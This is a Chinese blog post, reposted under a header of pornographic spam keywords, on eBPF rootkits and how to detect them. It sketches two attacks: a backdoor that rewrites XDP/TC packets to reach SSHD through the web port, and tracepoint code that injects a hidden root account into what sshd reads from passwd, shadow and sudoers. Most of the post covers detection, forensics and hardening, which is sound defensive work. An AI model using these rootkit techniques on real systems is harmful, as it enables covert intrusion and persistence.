日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux中基于eBPF的恶意利用与检测机制(rootkit、驱动)

發布時間:2025/3/15 linux 47 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux中基于eBPF的恶意利用与检测机制(rootkit、驱动) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

前言

現狀分析

海外資料

國內資料

eBPF技術惡意利用的攻擊原理

網絡層惡意利用

Linux系統運行時惡意利用

綜述

檢測防御??

運行前?

運行時

運行后

防御?

工程實現??

系統兼容性 CO-RE

大型項目

總結

文末鏈接?

參考資料


前言

近幾年來,云原生領域飛速發展,k8s成為公認的云操作系統。容器的高頻率部署、短暫的生命周期、復雜的網絡路由,都給內核帶來了新的挑戰。系統內核在面對復雜性不斷增長,性能、可擴展性新需求的同時,還需要保障系統穩定可用,這是極其困難的事情。

eBPF出現,以較小的子系統改動,保障了系統內核的穩定。具備實時動態加載的特性,將業務邏輯加載到內核,實現熱更新的動態執行。eBPF技術的出現,衍生新業務場景的同時,也帶來了安全威脅。

現狀分析

在解決很多技術難題的同時,eBPF技術的出現也帶來了新的惡意利用,從一些海外資料和國內資料中可以看到,目前關于eBPF技術惡意利用的現狀如下所示:

海外資料

· Black Hat

在Black Hat 2021的峰會中,Datadog工程師Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》[文末鏈接-1]介紹了eBPF的惡意利用,如何構建一個rootkit,入侵者會如何利用。并把代碼放在https://github.com/Gui774ume/ebpfkit(很NB的代碼)上,包括檢測防御代碼。

DEF CON

在DEF CON29峰會上,安全研究員Pat Hogan也分享了一篇關于eBPF的惡意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》[文末鏈接-2]?,介紹了eBFP rootkit的應用場景,包括網絡、運行時等,以及如何檢測eBPF的惡意利用等。代碼在https://github.com/pathtofile/bad-bpf 。

國內資料

國內在eBPF惡意利用的資料較少,相關技術分享也少,它的危害沒有得到國內同行的注意,勢必影響到國內公司在網絡安全防御體系的建設,導致落后于國外,給企業安全甚至國家安全帶來較大風險。筆者作為防御體系建設方,有責任帶領大家更好的認識這種惡意利用,分享檢測防御經驗,加固網絡安全產品,為國內信息安全建設貢獻一份力。

eBPF技術惡意利用的攻擊原理

知己知彼才能百戰不殆,要想做好防御,必須要了解他的攻擊原理,我們一起來看下他的rootkit是如何設計的,功能有哪些?

從eBPF的功能來看,提供了

  • 網絡

  • 監控

  • 觀測

  • 跟蹤&性能分析

  • 安全

等幾個領域功能。在網絡領域,Cilium等云原生公司做了很多網絡層的產品,在實現網格管理的同時,也做了響應的網絡層面安全策略,尤其是網絡編排領域,表現尤為亮眼,逐步代替iptables等產品,大有一統江山的趨勢。在監控、觀測等領域也有很多產品。尤其是運行時安全領域,Datadog 、Falco、Google等公司,都推出了相應的產品。筆者在博客上也有過相關產品源碼分析的分享。

我們回顧一下eBPF技術的hook點:

從圖中可以看出,eBPF的hook點功能包括以下幾部分:

  • 可以在Storage、Network等與內核交互之前

  • 也可以在內核中的功能模塊交互之間

  • 又可以在內核態與用戶態交互之間

  • 更可以在用戶態進程空間

  • eBPF的功能覆蓋XDP、TC、probe、socket等,每個功能點都能實現內核態的篡改行為,從而使得用戶態完全致盲,哪怕是基于內核模塊的HIDS,一樣無法感知這些行為。

    筆者基于eBPF的功能函數,從業務場景來看,網絡、監控、觀測類的功能促進了云原生領域的產品發展;跟蹤/性能分析、安全類功能,加快了安全防御、審計類產品演進;而安全領域的惡意利用,也會成為黑客關注的方向。在這里,筆者與大家探討一下新的威脅與防御思路:

    從數據流所處階段來看,筆者劃分為兩部分,接下來一起來討論惡意利用、風險危害與防御思路。

  • Linux網絡層惡意利用

  • Linux系統運行時惡意利用

  • 網絡層惡意利用

    以一個SSH、WEB服務的服務器為例,在IDC常見網絡訪問策略中,開放公網web 80端口允許任意來源的IP訪問。而SSH服務只允許特定IP,或者只開放內網端口訪問。

    假設這臺服務器已經被黑客入侵,黑客需要留下一個后門,且需要一個隱藏、可靠的網絡鏈路作為后門通道,那么在eBPF技術上,會如何實現呢?

    ·?XDP/TC層修改TCP包

    為了讓后門隱藏的更好,最好是不開進程,不監聽端口(當前部分我們只討論網絡層隱藏)。而eBPF技術在XDP、TC、socket等內核層的功能,能夠實現流量信息修改,這些功能常被應用在L3、L4的網絡負載均衡上。比如cilium的網絡策略都是基于eBPF XDP實現。eBPF hook了XDP點后,更改了TCP包的目標IP,系統內核再將該數據包轉發出去。按照XDP與TC在Linux內核中,處理ingress與egress的位置,可以更準確地確定hook點。

    XDP的BPF_PROG_TYPE_XDP程序類型,可以丟棄、修改、重傳來自ingress的流量,但無法對egress起作用。TC的BPF_PROG_TYPE_SCHED_CLS除了擁有XDP BPF_PROG_TYPE_XDP的功能外,還可以對egress起作用。

    前者最常用的場景就是做網絡防火墻,用于網絡流量清洗,效率比傳統防火墻的高很多。后者常用于云原生場景下,容器、POD的網絡監控、安全訪問控制等。在這個例子中,要多進出流量都做調整,故兩個hook點都需要有。同樣,在XDP等階段的hook,在這里做相關包邏輯處理,能更好的將通訊包隱藏,tcpdump等工具都抓不到

    控制鏈路

    在后門場景里,可以在同樣的位置,像eBPF的負載均衡一樣,修改目標端口,從web nginx 的80改為SSHD的22,就可以實現網絡數據的透傳,繞開防火墻以及網絡訪問限制。

    認證密鑰

    由于后門rootkit是在XDP\TC層工作,為了盡可能的簡單,認證密鑰最好只使用鏈路層、網絡層、傳輸層的數據,即MAC信息、IP五元組之類。IP經常變動,MAC地址大概率是唯一的,以及設定一個固定的端口,這樣更加唯一,作為rootkit的認證密鑰即可實現。(需要client發起連接時,指定客戶端的TCP端口)

    eBPF uprobe與eBPF map聯動

    對于后門rootkit的密鑰更新,利用eBPF也很好實現。比如,在nginx的場景中,uprobe實現hook http的函數,獲取url參數中特定字符串,再將字符串保存到eBPF map里,就實現了密鑰更新。

    XDP/TC層的eBPF rootkit執行時,讀取eBPF map里的密鑰,進行比較運算。

    ·?實現流程

    舉個XDP處理ingress的例子:

    SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt;//判斷是否為SSHD的協議,不是則直接放行 if (!(不是SSHD協議(&c))) {return XDP_PASS; }//判斷rootkit是否匹配,網卡信息與來源端口是否匹配 hack_mac[] = "讀取bpf map配置。" if(密鑰不匹配) {return XDP_PASS; }// 讀取map,是否已經存在該client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key);// 如果沒找到偽裝信息,則自己組裝 if(!client_value) {__builtin_memset(&client_value, 0, sizeof(client_value)); } else {bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); }// 偽裝mac局域網mac信息 pkt.eth->h_source[0] = 0x00; ...// 替換偽裝ip來源 ,客戶端端口不變// 更改目標端口 pkt.tcp->dest = htons(FACK_PORT); //22//計算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum;//寫入已偽裝的map,用于TC處理egress的原mac、IP信息還原。return XDP_PASS; }

    比較簡單的demo,即可實現 ingtrss側TCP數據包的偽裝。同樣,TC層處理egress方向的數據包時,只需要對偽裝包的原始信息作還原即可。整個流程如下圖:

    這樣,rootkit的通訊鏈路并不影響正常用戶訪問,也沒有對原系統做改動,隱蔽性特別好。

    ·?視頻演示

    筆者準備了三臺主機測試:

  • 入侵者:cnxct-mt2,IP為172.16.71.1。

  • 普通用戶:vmubuntu,IP為172.16.71.3。

  • 被入侵服務器:vm-server,IP為172.16.71.4。開放nginx web 80端口;開放SSHD 22端口,并設定iptables規則只允許內網IP訪問。

  • 騰訊視頻https://v.qq.com/x/page/x3324tskmwm.html

    · 危害

    這個rootkit不主動創建socket,借用其中一個網絡發送包,把消息送達給后門使用者。對系統影響來說,只是一個不起眼的小網絡響應。在萬千HTTP包里,根本定位不到。

  • iptables防火墻繞過 :利用對外開放的80端口作為通訊隧道;

  • webIDS繞過:流量到達服務器后,并不傳遞給nginx;

  • NIDS繞過:入侵者流量在局域網之間流傳并無異常,只是無法解密;

  • HIDS繞過:是否信任了防火墻,忽略了本機/局域網來源的SSHD登錄?

  • Linux系統運行時惡意利用

    云原生生態下,涌現大批基于eBPF技術實現的集群網絡管理插件,比如Calico、cilium等。而業務實現網絡管理服務是以容器化方式部署,且有需要給這些容器啟用SYS_BPF_ADMIN權限以支持eBPF系統調用。這些服務的運行環境,也給攻擊者留下一個完美的發揮空間。

    · 實現流程

    回顧eBPF的hook點,作用在syscall的kprobe、tracepoint事件類型,倘若用在后門rootkit場景,是十分可怕的。比如,修改內核態返回給用戶態的數據,攔截阻斷用戶態行為等為所欲為。而更可怕的是,常見的HIDS都是基于內核態或者用戶態做行為監控,這恰恰就繞開了大部分HIDS的監控,且不產生任何日志,簡直細思極恐、不寒而栗。

    tracepoint事件類型hook

    在SSHD應用中,當用戶登錄時,會讀取/etc/passwd等文件。用戶態sshd程序,調用open、read等系統調用,讓內核去硬件磁盤上檢索數據,再返回數據給sshd進程。

    用戶態生成payload

    用戶態實現/etc/passwd、/etc/shadown等文件payload的生成,并通過eBPF的RewriteConstants機制,完成對elf .rodata的字段值替換。

    import "github.com/ehids/ebpfmanager"// 通過elf的常量替換方式傳遞數據 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {var username = RandString(9)var password = RandString(9)var s = RandString(8)salt := []byte(fmt.Sprintf("$6$%s", s))// use salt to hash user-supplied passwordc := sha512_crypt.New()hash, err := c.Generate([]byte(password), salt)var m = map[string]interface{}{}res := make([]byte, PAYLOAD_LEN)var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)copy(res, payload)m["payload"] = resm["payload_len"] = uint32(len(payload))// 生成passwd字符串var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)// 生成shadow字符串var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)// eBPF RewriteContantsvar editor = []manager.ConstantEditor{{Name: "payload",Value: m["payload"],FailOnMissing: true,},{Name: "payload_len",Value: m["payload_len"],FailOnMissing: true,},}return editor }func (this *MBPFContainerEscape) setupManagers() {this.bpfManager = &manager.Manager{Probes: []*manager.Probe{{Section: "tracepoint/syscalls/sys_enter_openat",EbpfFuncName: "handle_openat_enter",AttachToFuncName: "sys_enter_openat",},...},Maps: []*manager.Map{{Name: "events",},},}this.bpfManagerOptions = manager.Options{...// 填充 RewriteContants 對應mapConstantEditors: this.constantEditor(),} }

    內核態使用payload

    const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN];SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) {// 判斷是否為rootkit行為,是否需要加載payload...long int read_size = ctx->ret;// 判斷原buff長度是否小于payloadif (read_size < payload_len) {return 0;}// 判斷文件類型,匹配追加相應payloadswitch (pbuff_addr->file_type){case FILE_TYPE_PASSWD:// 覆蓋payload到buf,不足部分使用原buff內容{bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {if (i >= payload_passwd_len) {local_buff[i] = ' ';}else {local_buff[i] = payload_passwd[i];}}}break;case FILE_TYPE_SHADOW:// 覆蓋 shadow文件...break;case FILE_TYPE_SUDOERS://覆蓋sudoers...break;default:return 0;break;}// 將payload內存寫入到bufferret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);// 發送事件到用戶態return 0; }

    按照如上demo rootkit的設計,即完成了隨機用戶名密碼的root賬號添加。在鑒權認證上,也可以配合eBPF網絡層惡意利用的demo,利用eBPF map交互,實現相應鑒權。但rootkit本身并沒有更改硬盤上文件,不產生風險行為。并且,只針對特定進程的做覆蓋,隱蔽性更好。整個流程如下圖:

    不管是在物理機上,還是給了root+BPF權限的容器上,都一樣生效。

    · 視頻演示

    騰訊視頻https://v.qq.com/x/page/e33246j5zi5.html

    · 危害

    云原生場景下,賦予SYS_ADMIN的權限的容器場景很多,若配合近期的JAVA log4j漏洞,直接擊穿容器,拿到宿主機權限,是不是很可怕?

    然而,比這可怕的是這種rootkit本身并沒有產生用戶態行為日志,也沒有改文件,系統里查不到這個用戶信息。整個后門行為不產生數據,讓大部分HIDS失靈。

    綜述

    從筆者演示的這兩個場景可以來看,大家已經知道eBPF技術被惡意利用的危害。其實,這只是eBPF技術的冰山一角,在kproeb\uprobe上也有很多功能,比如實現進程隱藏,無痕內網掃描等等。相關惡意利用可參考《Bad BPF - Warping reality using eBPF》[文末鏈接-3]一文。

    若入侵者精心設計rootkit,實現進程隱藏等,讓rootkit更加隱蔽,按照本文的思路,實現一個幽靈般的后門,想想就讓人后怕。

    常規的主機安全防御產品一般用netlink linux kernel module等技術實現進程創建、網絡通訊等行為感知,而eBPF的hook點可以比這些技術更加深,比他們執行更早,意味著常規HIDS并不能感知發現他們。

    傳統rootkit,采用hook api方法,替換原來函數,導致執行函數調用地址發生變化,已有成熟檢測機制,eBPF hook不同于傳統rootkit ,函數調用堆棧不變。這給檢測帶來很大的麻煩。

    那面對這種后門,該如何檢測防御呢?

    檢測防御??

    從事件發生的過程來看,分為三個階段:

    • 運行前

    • 運行時

    • 運行后

    運行前?

    在惡意程序運行前,減少攻擊面,這個思路是更古不變的。

    ·?環境限制

    不管是宿主機還是容器,都進行權限收斂,能不賦予SYS_ADMIN、CAP_BPF等權限,就禁止掉。若一定要開放這個權限,那么只能放到運行時的檢測環節了。

    ·?seccomp限制?

    在容器啟動時,修改默認seccomp.json,禁止bpf系統調用,防止容器逃逸,注意此方法對于Privileged特權容器無效。

    ·?內核編譯參數限制

    修改函數返回值做運行時防護時,需要用到bpf_override_return,該函數需要內核開啟CONFIG_BPF_KPROBE_PVERRIDE編譯參數,因此非特殊情況不要開啟該編譯參數。

    ·?非特權用戶指令?

    大部分eBPF程序類型都需要root權限的用戶才能調用執行。但有幾個例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB這兩個類型,就不需要root。但需要讀取系統配置開關。

    //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240if (type != BPF_PROG_TYPE_SOCKET_FILTER &&type != BPF_PROG_TYPE_CGROUP_SKB &&!bpf_capable())return -EPERM;

    開關確認

    在/proc/sys/kernel/unprivileged_bpf_disabled里,可通過執行sysctl kernel.unprivileged_bpf_disabled=1來修改配置。配置含義見Documentation for /proc/sys/kernel/?[文末鏈接-4]

    • 值為0表示允許非特權用戶調用bpf

    • 值為1表示禁止非特權用戶調用bpf且該值不可再修改,只能重啟后修改

    • 值為2表示禁止非特權用戶調用bpf,可以再次修改為0或1

    ·?特征檢查?

    有人提議,在內核加載bpf字節碼時,進行簽名驗證,以便達到只加載安全簽名的bpf字節碼。lwn.net中也列出這個話題:BPF字節碼簽名計劃[文末鏈接-5]。

    但很多人也提出反對意見[文末鏈接-6]?,認為bpf模塊這幾年的發展,過于抽象化,越來越復雜,不希望加入額外的功能,讓bpf更加不穩定。而是改變思路,讓字節碼加載時簽名,改為「執行bpf字節碼加載的用戶態程序進行簽名」,這個是已有的內核功能,不會增加系統復雜性。

    筆者認為,這確實可以緩解大部分bpf字節碼加載的問題。但使用系統原生命令(tc\ip\bpftool等)加載的話,仍面臨威脅。比如:ip link set dev ens33 xdp obj xdp-example_pass.o

    · 運行檢查

    大部分eBPF程序在重啟后不存在了,所以,入侵者會盡可能讓后門自啟動。對于linux系統的自啟動、crontab等計劃任務做好檢查。

    用戶態程序可以以各種形式存在,ELF可執行文件、ELF so動態鏈接庫都可以。在執行時,必定會調用BPF syscall來加載BPF 字節碼。若只是對可執行ELF做檢測,還不夠準確。

    運行時

    · 監控?

    linux系統中,所有的程序運行,都必須進行系統調用,eBPF程序也不例外。需要調用syscall為321的SYS_BPF指令。

    并且,所有的eBPF程序執行、map創建都必須進行這個syscall調用。那么,在這個必經之路進行攔截監控,是最好的方案。

    SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {struct bpf_context_t *bpf_context = make_event();if (!bpf_context)return 0;bpf_context->cmd = args->cmd;get_common_proc(&bpf_context->procinfo);send_event(args, bpf_context);return 0; }

    這里,我們開源的ehids項目做了一個bpf syscall檢測的例子,大家可以fork了解。倉庫見https://github.com/ehids/ehids-agent

    當然,細心的讀者會有疑問,假如入侵者的后門執行比較早,對這個系統調用進行欺騙,那怎么辦呢?這是個好問題,我們放到運行后的溯源章節討論。但對于大部分場景,HIDS防御產品還是可以做到第一時間啟動的。

    ·?審計&篩查?

    上面我們討論了對bpf系統調用進行監控,在云原生場景中,基于eBPF實現的網絡產品會頻繁調用,會產生大量的事件日志,給運營同學帶來較大壓力。對行為做精簡、做精確篩選就成為接下來的目標。

    根據程序白名單篩選

    數據過濾,是解決大量數據壓力的方案。在一些BPF應用的業務服務器上,本身業務行為會產生大量調用,會給安全預警帶來較大審計壓力。對于已知的進程,可以根據進程特征過濾。

    獲取當前進程PID、COMM等特征,根據用戶態寫入eBPF map的配置,決定是否上報、是否攔截。也可以在用戶態做過濾,但內核態效率更高。如果是做攔截,那必須要在內核態實現。參考saBPF產品設計思路[文末鏈接-8],用eBPF實現LSM HOOK點的鉤子程序,完成相關審計調用。https://github.com/saBPF-project/sabpf-kernel?項目代碼還只是demo,思路可以借鑒。

    ·?根據SYSCALL類型篩選?

    在BPF syscall里,子命令的功能包含MAP、PROG等多種類型的操作bpf() subcommand reference[文末鏈接-9]里有詳細的讀寫API。在實際的業務場景里,寫的安全風險比讀大。所以,我們可以過濾掉讀操作,只上報、審計寫操作。比如:

    • MAP的創建BPF_MAP_CREATE

    • PROG加載BPF_PROG_LOAD

    • BPF_OBJ_PIN

    • BPF_PROG_ATTACH

    • BPF_BTF_LOAD

    • BPF_MAP_UPDATE_BATCH

    尤其是有BPF需求的業務場景,可以更好的審計日志。

    運行后

    問個問題,eBPF用戶態程序與內核態程序交互,加載bpf字節碼后,能退出嗎?退出后,內核hook的bpf函數還工作嗎?創建的map是否還存在?后門程序為了保證更好的隱蔽性,會如何選擇?

    要回答這個問題,不得不提BPF程序的加載機制,BPF對象生命周期。

    ·?文件描述符與引用計數器?

    用戶態程序通過文件描述符FD來訪問BPF對象(progs、maps、調試信息),每個對象都有一個引用計數器。用戶態打開、讀取相應FD,對應計數器會增加。若FD關閉,引用計數器減少,當refcnt為0時,內核會釋放BPF對象,那么這個BPF對象將不在工作。

    在安全場景里,用戶態的后門進程若退出后,后門的eBPF程序也隨之退出。在做安全檢查時,這可以作為一個有利特征,查看進程列表中是否包含可疑進程。

    但并非所有BPF對象都會隨著用戶態進程退出而退出。從內核原理來看,只需要保證refcnt大于0,就可以讓BPF對象存活,讓后門進程持續工作了。其實在BPF的程序類型中,像XDP、TC和基于CGROUP的鉤子是全局的,不會因為用戶態程序退出而退出。相應FD會由內核維護,保證refcnt計數器不為零,從而繼續工作。

    ·?溯源?

    在安全工程師視角里,就需要根據不同場景作不同的溯源策略。筆者給的溯源方式中,都使用了eBPF的相關接口,意味著,如果惡意程序比檢查工具運行的早,那么對于結果存在偽造的可能。

    短生命周期

    BPF程序類型代表

    • k[ret]probe

    • u[ret]probe

    • tracepoint

    • raw_tracepoint

    • perf_event

    • socket filters

    • so_reuseport

    特點是基于FD管理,內核自動清理,對系統穩定性更好。這種程序類型的后門,在排查時特征明顯,就是用戶態進程。并且可以通過系統正在運行的BPF程序列表中獲取。

    bpftool工具

    eBPF程序列表?命令bpftool prog show,以及bpftool prog help查看更多參數。

    結果中,可以看到當前系統正在運行的BPF程序、關聯的BPF map ID,以及對應的進程信息等。另外,細心的你可能發現,結果中,XDP數據中并沒有進程ID信息,稍后討論。

    eBPF map列表?命令bpftool map show,以及bpftool map help查看更多參數。

    通過查看map信息,可以與程序信息作輔助矯正。并且,可以導出map內數據用來識別惡意進程行為。這部分我們在取證章節討論。

    bpflist-bpfcc

    bpflist-bpfcc -vv命令可以看到當前服務器運行的部分BPF程序列表。以筆者測試環境為例:

    root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes:open uprobes:PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5

    可以看到系統進程systemd啟動了8個prog程序。ehids進程創建了4個eBPF map與5個prog。但實際上前面也執行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在這里卻沒有顯示出來。意味著這個命令輸出的結果并不是所有bpf程序、map的情況。

    長生命周期

    BPF程序類型代表

    • XDP

    • TC

    • LWT

    • CGROUP

    上面提到以ip命令加載bpf字節碼的場景,常見BPF工具查詢不到或信息缺失。其背后原因,需要從他的工作原理講起。

    ip命令加載bpf原理

    BPF對象的生命周期使用引用計時器管理,這一大原則是所有BPF對象都需要遵守的。而長生命周期的程序類型起FD是用戶控件程序傳遞參數給內核空間,之后再由內核空間維持。

    以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o為例。IP命令的參數中包含bpf字節碼文件名,IP進程打開.o字節碼的fd,通過NETLINK發IFLA_XDP類型消息(子類型IFLA_XDP_FD)給內核,內核調用dev_change_xdp_fd函數,由網卡接管FD,引用計數器遞增,用戶空間的IP進程退出后,BPF程序依舊工作。內核源碼見:

    https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237

    筆者做了抓包驗證,IP關聯XDP程序類型:

    17:53:22.553708 sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, {{nla_len=20, nla_type=IFLA_XDP}, [{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}]}},iov_len=52}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 52

    可以看到IFLA_XDP_FD后面的FD參數是6。同樣,刪除XDP程序,需要把FD設置為-1,對應NETLINK包構成如下:

    17:55:16.306843 sendmsg(3, {...{nla_len=20, nla_type=IFLA_XDP}, [{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}] }...}, 0) = 52

    不止IP命令,TC命令分類器?[文末鏈接-10]?也是支持BPF程序,將BPF程序作為classifiers和 actions加載到 ingress/egress hook點。背后原理與IP類似,也是netlink協議與內核通訊,網卡維持BPF對象計數器。

    檢測機制

    使用原生IP、TC等命令,查看網卡加載的BPF對象。

  • ip link show

  • tc filter show dev [網卡名] [ingress|egress]

  • 使用bpftool命令查看

    bpftool net show dev ens33 -p命令可以用于查看網絡相關的eBPF hook點。

    CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK類型程序的加載情況都可以通過bpftool prog show查看。長短生命周期的BPF程序區別是缺少用戶空間進程PID信息。如下圖:

    BPFFS

    除了前面提到的方法外,BPF文件系統BPFFS也是讓BPF程序后臺運行的方式。用戶空間進程可以使用任意名字將BPF程序PIN到BPFFS。讓在BPFFS來自動增加BPF對象的refcnt引用計數器,來保持后臺的活躍狀態。使用時,只需要使用bpf_obj_get(“BPFFS path”)就可以獲得BPF對象的FD。

    BPFFS在linux的類型是BPF_FS_MAGIC,默認目錄/sys/fs/bpf/,可自定義修改,但確保文件系統類型是unix.BPF_FS_MAGIC。

    檢測思路上,需要關注虛擬文件系統是不是unix.BPF_FS_MAGIC類型。

    在linux系統上,mount -t bpf來查看系統所有掛在的文件類型,是否包含BPFFS類型。

    確定BPFFS的目錄后,再查看目錄下的掛在點是否存在異常。

    ·?取證?

    內核已加載的BPF對象導出

    bpftool工具可以導出有FD ID的PROG、MAP。?BPF PROG程序?可以導出opcode\visual\linum等多種格式,并可以生成調用關系圖。具體可以查看bpftool的幫助文件。

    root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]

    BPF MAP?與PROG類似,也可以通過bpftool導出內容,并支持json格式化內容。

    root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{"value": {".rodata": [{"target_ppid": 0},{"uid": 0},{"payload_len": 38...

    BPFFS?BPFFS類型的BPF對象,雖然可以更便捷的放到后臺執行,用戶空間程序可以退出,也可以再次讀取,但這也給取證帶來很大便利。bpftool命令也支持從pinned到BPFFS文件系統的路徑里導出PROG、MAP。參與少有區別,詳情見bpftool help。?

    內核未加載的BPF對象

    當定位到后門rootkit的用戶空間程序后,那么BPF字節碼肯定會被其調用。字節碼內容一般會放在一個獨立文件中,或者作為字節碼編譯到當前程序里。這也只需要使用IDA之類反編譯工具,定位到相關字節流,導出即可。

    以筆者演示視頻中的ehids進程為例,使用https://github.com/ehids/ebpfmanager?純GO的eBPF模塊管理器package,對于eBPF字節碼會使用github.com/shuLhan/go-bindata/cmd/go-bindata包對BPF字節碼進行加載、GZIP壓縮,作為go代碼的變量,在部署時比較邊界。

    IDA pro加載時,我們可以在.noptrdata段部分看到這塊代碼,開始地址是0000000000827AE0,導出后再解壓,可以還原原來的BPF ELF文件內容。

    因為每個BPF用戶態實現不同,類庫也不一樣,靜態分析實踐起來有難度。那可以模擬相同環境,動態運行,提前HOOK BPF SYSCALL,找到FD設置的地方,也是可以導出BPF的ELF文件。

    字節碼分析

    BPF字節碼本身也是ELF格式,只是格式指令上有一定區別。反編譯工具IDA pro也能支持,國外安全工程師開源了一個python插件:eBPF IDA Proc?[文末鏈接-11]?,以及整理了一篇分析的文章Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool 》[文末鏈接-12],有興趣可以讀讀。

    防御?

    eBPF在網絡安全場景的使用,除了做入侵檢測外,還是可以用于防御。LSM PROBE HOOK提供了相關功能。以容器逃逸場景為例,行為最明顯的特征是父子進程的namespace不一致,子進程創建完成后,判斷這個特征是否匹配,返回EPERM覆蓋進程創建函數的返回值,從而起到防御的目的。相比內核模塊等防御實現,eBPF實現更加安全、穩定、可靠,從而在源頭上解決容器逃逸的問題。

    同樣,筆者認為eBPF也是二進制層最優秀的虛擬補丁、熱更新解決方案。

    LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) {return -EPERM; }

    在系統的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置內容,必須包含bpf等,詳情可參考BCC類庫Demo lsm probe?[文末鏈接-13]?。

    工程實現??

    練手

    入門練手,可以嘗試使用BCC的類庫:https://github.com/iovisor/bcc?,以及C語言用戶空間程序的各種Demo例子Demo BPF applications?[文末鏈接-14]。

    類庫選擇

    工程化時,對項目質量、穩定性、研發效率等都有要求,推薦cilium的純go eBPF類庫,由cilium官方背書可放心使用。datadog公司的agent產品也是用這個類庫。

    筆者的產品也是參考datadog,抽象包裝了cilium的eBPF庫,實現配置化便捷管理eBPF程序。github倉庫:https://github.com/ehids/ebpfmanager?,歡迎使用。

    當然,也可以使用libbpf包裝的go類庫實現,比如tracee等產品。

    系統兼容性 CO-RE

    eBPF的出現極大的簡化了編寫內核態代碼的門檻,極高的安全性,友好的加載方式,高效的數據交互,令eBPF深受追捧。然而和編寫傳統內核模塊相同,內核態的功能開發伴隨著繁冗的適配測試工作,Linux繁多的內核版本更是讓適配這件事難度陡增, 這也就是BTF出現之前的很長一段時間里,bcc + clang + llvm被人們詬病的地方。程序在運行的時候,才進行編譯,目標機器還得安裝clang llvm kernel-header等編譯環境,同時編譯也會消耗大量cpu資源,這在某些高負載機器上是不能被接受的。

    因此BTF&CO-RE橫空出現,BTF可以理解為一種debug符號描述方式,此前傳統方式debug信息會非常巨大,linux內核一般會關閉debug符號,btf的出現解決了這一問題,大幅度減少debug信息的大小,使得生產場景內核攜帶debug信息成為可能。

    可喜的是通過運用這項技術,可以幫助開發者節省大量適配精力,但是這項技術目前還是在開發中,還有許多處理不了的場景,比如結構體成員被遷入子結構體中,這時候還是需要手動解決問題,BTF的開發者也寫了一篇文章,講解不同場景的處理方案bpf-core-reference-guide?[文末鏈接-15]

    大型項目

    在國外,云原生領域產品發展較快,涌現出一批批基于eBPF的產品,包括Cilium、Datadog 、Falco、Katran等,應用在網絡編排、網絡防火墻、跟蹤定位、運行時安全等各個領域,可以借鑒這些大型項目的研發經驗,來加快產品建設,包括多系統兼容、框架設計、項目質量、監控體系建設等。本篇以檢測防御為主,工程建設相關經驗我們在以后的文章中分享。

    總結

    隨著云原生快速發展,eBPF實現軟件、運行環境會越來越多,而eBPF的惡意利用也會越來越普遍。從國內外的情況來看,國外對這個方向的研究遠比國內超前,筆者再次呼吁大家,網絡安全產品應當盡快具備eBPF相關威脅檢測能力。

